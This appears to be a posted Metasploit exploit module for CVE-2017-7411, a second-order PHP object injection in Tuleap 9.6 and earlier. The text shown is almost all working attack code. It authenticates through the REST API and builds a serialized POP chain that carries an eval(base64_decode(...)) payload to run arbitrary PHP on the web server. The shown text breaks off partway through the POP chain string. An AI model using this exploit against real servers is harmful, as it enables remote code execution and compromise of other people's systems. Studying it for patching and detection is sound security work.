Tuleap 9.6 Second-Order PHP Object Injection
Posted on 19 December 2017
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection', 'Description' => %q{ This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which could be abused by authenticated users to execute arbitrary PHP code with the permissions of the webserver. The vulnerability exists because of the User::getRecentElements() method is using the unserialize() function with data that can be arbitrarily manipulated by a user through the REST API interface. The exploit's POP chain abuses the __toString() method from the Mustache class to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method. }, 'Author' => 'EgiX', 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://karmainsecurity.com/KIS-2017-02'], ['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'], ['CVE', '2017-7411'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Tuleap <= 9.6', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 23 2017' )) register_options( [ OptString.new('TARGETURI', [true, "The base path to the web application", "/"]), OptString.new('USERNAME', [true, "The username to authenticate with" ]), OptString.new('PASSWORD', [true, "The password to authenticate with" ]), OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]), Opt::RPORT(443) ]) end def setup_popchain(random_param) print_status("Trying to login through the REST API...") user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/tokens'), 'ctype' => 'application/json', 'data' => {'username' => user, 'password' => pass}.to_json }) unless res && (res.code == 201 || res.code == 200) && res.body msg = "Login failed with #{user}:#{pass}" print_error(msg) if @is_check fail_with(Failure::NoAccess, msg) end body = JSON.parse(res.body) uid = body['user_id'] token = body['token'] print_good("Login successful with #{user}:#{pass}") print_status("Updating user preference with POP chain string...") php_code = "null;eval(base64_decode($_POST['#{random_param}']));//" pop_chain = 'a:1:{i:0;a:1:{' pop_chain << 's:2:"id";O:8:"Mustache":2:{' pop_chain << 'S:12:"